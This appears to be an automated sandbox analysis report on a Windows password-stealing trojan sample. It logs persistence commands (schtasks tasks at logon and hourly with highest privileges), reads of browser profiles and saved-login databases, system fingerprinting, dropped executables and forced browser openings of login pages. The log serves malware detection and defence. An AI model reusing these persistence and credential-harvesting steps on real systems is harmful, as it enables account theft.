Windows Analysis Report
SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe

Source: SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: autorun[1].exe.46.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: autorun.exe.46.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: amer[1].exe.2.dr	Static PE information: Section: ZLIB complexity 0.9980332167832168
Source: amer[1].exe.2.dr	Static PE information: Section: ZLIB complexity 0.9953567216981132
Source: amer[1].exe.2.dr	Static PE information: Section: ZLIB complexity 0.9950520833333333
Source: PXBvYMcLF9IUsaGl9axr.exe.2.dr	Static PE information: Section: ZLIB complexity 0.9980332167832168
Source: PXBvYMcLF9IUsaGl9axr.exe.2.dr	Static PE information: Section: ZLIB complexity 0.9953567216981132
Source: PXBvYMcLF9IUsaGl9axr.exe.2.dr	Static PE information: Section: ZLIB complexity 0.9950520833333333
Source: explorhe.exe.15.dr	Static PE information: Section: ZLIB complexity 0.9980332167832168
Source: explorhe.exe.15.dr	Static PE information: Section: ZLIB complexity 0.9953567216981132
Source: explorhe.exe.15.dr	Static PE information: Section: ZLIB complexity 0.9950520833333333

Source: autorun[1].exe.46.dr, AaKKpFYFlTUg6do124.cs	Cryptographic APIs: 'CreateDecryptor'
Source: autorun[1].exe.46.dr, AaKKpFYFlTUg6do124.cs	Cryptographic APIs: 'CreateDecryptor'
Source: autorun.exe.46.dr, AaKKpFYFlTUg6do124.cs	Cryptographic APIs: 'CreateDecryptor'
Source: autorun.exe.46.dr, AaKKpFYFlTUg6do124.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@160/856@163/45

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004AE130 GetLastError,GetVersionExA,FormatMessageW,LocalFree,FormatMessageA,

2_2_004AE130

Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_006710BF AdjustTokenPrivileges,CloseHandle,		16_2_006710BF
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_006716C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		16_2_006716C3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004ADA60 GetVersionExA,CreateFileW,CreateFileA,GetDiskFreeSpaceW,GetDiskFreeSpaceA,

2_2_004ADA60

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0040FCB0 RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetCurrentHwProfileA,GetModuleHandleExA,GetModuleFileNameA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetComputerNameA,GetUserNameA,GetDesktopWindow,GetWindowRect,GetUserDefaultLocaleName,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,GetLocalTime,GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetSystemInfo,GlobalMemoryStatusEx,EnumDisplayDevicesA,EnumDisplayDevicesA,CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,Process32Next,CloseHandle,RegOpenKeyExA,RegEnumKeyExA,wsprintfA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,RegCloseKey,

2_2_0040FCB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0041AC60 CoInitializeEx,CoCreateInstance,RegCreateKeyExA,RegCreateKeyExA,RegCreateKeyExA,RegCreateKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegCreateKeyExA,CoUninitialize,

2_2_0041AC60

Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe

Code function: 16_2_006142A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

16_2_006142A2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe.log

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6248:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1416:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5868
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4552:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2036:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2632:120:WilError_03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Temp\rage131MP.tmp

Source: SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe, 00000000.00000002.2084693372.00000000043F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe, 00000000.00000002.2084693372.00000000043F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: KvHrxJ77cmUgLogin Data.2.dr, Ei8DrAmaYu9KLogin Data.2.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe

ReversingLabs: Detection: 23%

Source: RegAsm.exe

String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\MPGPH131\MPGPH131.exe C:\ProgramData\MPGPH131\MPGPH131.exe
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\MPGPH131\MPGPH131.exe C:\ProgramData\MPGPH131\MPGPH131.exe
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe "C:\Users\user\AppData\Local\RageMP131\RageMP131.exe"
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe "C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe "C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe"
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.youtube.com/
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.facebook.com/login
Source: unknown	Process created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe "C:\Users\user\AppData\Local\RageMP131\RageMP131.exe"
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://accounts.google.com/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2324,i,2541819260191282002,938598577275048364,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1980 --field-trial-handle=1888,i,5407564702306654445,10850688961270417415,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.youtube.com
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1976,i,13067442516428966182,10510495334177241877,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.facebook.com/login
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://accounts.google.com
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2088,i,9284688159329358542,7565992651462353756,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.facebook.com/login
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://accounts.google.com
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2080,i,6539887644468832511,10903315424592384845,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.youtube.com
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2104,i,14647974237917707437,3396227101640439639,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.facebook.com/login
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5868 -s 2376
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://accounts.google.com
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2352 --field-trial-handle=2024,i,5041607828718283965,3196036969284588987,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6444 --field-trial-handle=2024,i,5041607828718283965,3196036969284588987,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6620 --field-trial-handle=2024,i,5041607828718283965,3196036969284588987,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Process created: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe "C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe"
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.facebook.com/login --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.facebook.com/login
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com --attempting-deelevation
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://accounts.google.com --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe "C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe "C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Process created: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe "C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.youtube.com/	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.facebook.com/login	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://accounts.google.com/	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.youtube.com	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.facebook.com/login	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://accounts.google.com	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.facebook.com/login	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://accounts.google.com	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.facebook.com/login	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://accounts.google.com	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1980 --field-trial-handle=1888,i,5407564702306654445,10850688961270417415,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2324,i,2541819260191282002,938598577275048364,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
